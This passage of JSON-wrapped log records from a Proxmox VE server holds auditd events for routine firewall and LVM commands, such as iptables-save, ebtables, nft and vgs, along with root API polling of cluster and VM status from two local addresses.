a2=\"-f\" a3=\"-\""} {"@timestamp":1781965385920,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.920:65372): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb693d840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.290:61742): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695166,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.166:66716): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966270739,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964077839,"@rawstring":"node=pve type=EXECVE msg=audit(1781964077.839:59498): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965384782,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965384.782:65371): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b2930 a1=64f8d1b45df0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.283:61741): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695155,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.155:66715): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966270739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781964075832,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.832:59495): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965384754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965384.754:65370): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d68573c0 a1=64f8d73d85f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.278:61740): arch=c000003e syscall=59 success=yes exit=0 a0=5bae56b6eed0 a1=5bae56b6bc50 a2=5bae56b4d680 a3=5 items=2 ppid=59254 pid=59260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695148,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.148:66714): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966269332,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964075829,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.829:59494): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965382821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965382.821:65369): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.274:61739): arch=c000003e syscall=59 success=yes exit=0 a0=5bae3a613ac8 a1=7ffd8b7dbae0 a2=5bae56b4d680 a3=5bae3a5f724e items=2 ppid=59254 pid=59256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695142,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.142:66712): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966269332,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781964075827,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.827:59493): argc=1 a0=\"date\""} {"@timestamp":1781965382811,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965382.811:65366): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605273,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.273:61738): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd8b7dbaa0 a1=5bae56b54310 a2=5bae56b4d680 a3=5 items=2 ppid=59254 pid=59255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695135,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.135:66711): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966267784,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964075822,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.822:59491): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965380237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965380.237:65363): arch=c000003e syscall=59 success=yes exit=0 a0=64a776115ae0 a1=64a7761079b0 a2=64a77612dc30 a3=8 items=2 ppid=60443 pid=62784 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"clear\" exe=\"/usr/bin/clear\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605269,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.269:61736): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695128,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.128:66710): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966267784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964075814,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.814:59490): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965377803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965377.803:65362): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956cb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605261,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.261:61735): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695122,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.122:66709): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966266806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:46 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964075807,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.807:59489): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965377793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965377.793:65359): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956bf0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.254:61734): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59252 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695116,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.116:66708): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966266806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964075799,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.799:59488): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965375909,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.909:65356): arch=c000003e syscall=59 success=yes exit=0 a0=59df63fe4d70 a1=59df63ff0f40 a2=59df63fbe680 a3=5 items=2 ppid=62775 pid=62781 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.250:61733): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adab00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59251 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695108,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.108:66707): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966266806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781964075793,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.793:59487): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965375903,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.903:65355): arch=c000003e syscall=59 success=yes exit=0 a0=59df3d80dac8 a1=7ffea0dfc690 a2=59df63fbe680 a3=59df3d7f124e items=2 ppid=62775 pid=62777 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.243:61732): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136240 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59250 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695097,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.097:66706): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966265501,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781964075784,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.784:59485): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965375903,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.903:65354): arch=c000003e syscall=59 success=yes exit=0 a0=7ffea0dfc650 a1=59df63fe0410 a2=59df63fbe680 a3=5 items=2 ppid=62775 pid=62776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.236:61731): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14ae50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695087,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.087:66705): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966265501,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964075779,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.779:59484): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965375897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.897:65352): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.000:61730): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695083,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.083:66704): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966265501,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964075774,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.774:59483): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965375891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.891:65351): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964604991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.991:61727): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59247 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695080,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.080:66703): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966263770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781964075767,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.767:59482): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965375883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.883:65350): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964604917,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.917:61724): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6d81d70 a1=64f8d7417e20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695080,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.080:66702): argc=1 a0=\"date\""} {"@timestamp":1781966263770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964075762,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.762:59481): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965375873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.873:65349): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964604888,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.888:61723): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417640 a1=64f8d740c480 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695074,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.074:66700): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966263770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964075757,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.757:59480): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965375863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.863:65348): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62771 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964604844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.844:61721): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=70f70a3dbda6 a2=80000 a3=0 items=1 ppid=1216 pid=59242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965695066,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.066:66699): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966262772,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964075747,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.747:59479): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965375862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.862:65347): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d8ad078e740 items=0 ppid=1156 pid=62770 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964604841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.841:61720): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965695056,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.056:66698): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966262772,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964075741,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.741:59478): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965375859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.859:65346): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1012c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62770 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964604803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.803:61719): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=782fa0d93da6 a2=80000 a3=0 items=1 ppid=1216 pid=59241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965695048,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.048:66697): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966261774,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964075736,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.736:59477): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965375853,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.853:65345): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1316a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62769 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964604800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.800:61718): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965695039,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.039:66696): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966261774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964075733,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.733:59476): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965375849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.849:65344): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc149fe0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62768 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964601029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964601.029:61716): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=700e5984cda6 a2=80000 a3=0 items=1 ppid=1216 pid=59238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965695024,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.024:66695): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966259756,"@rawstring":"::ffff:192.168.1.157 - 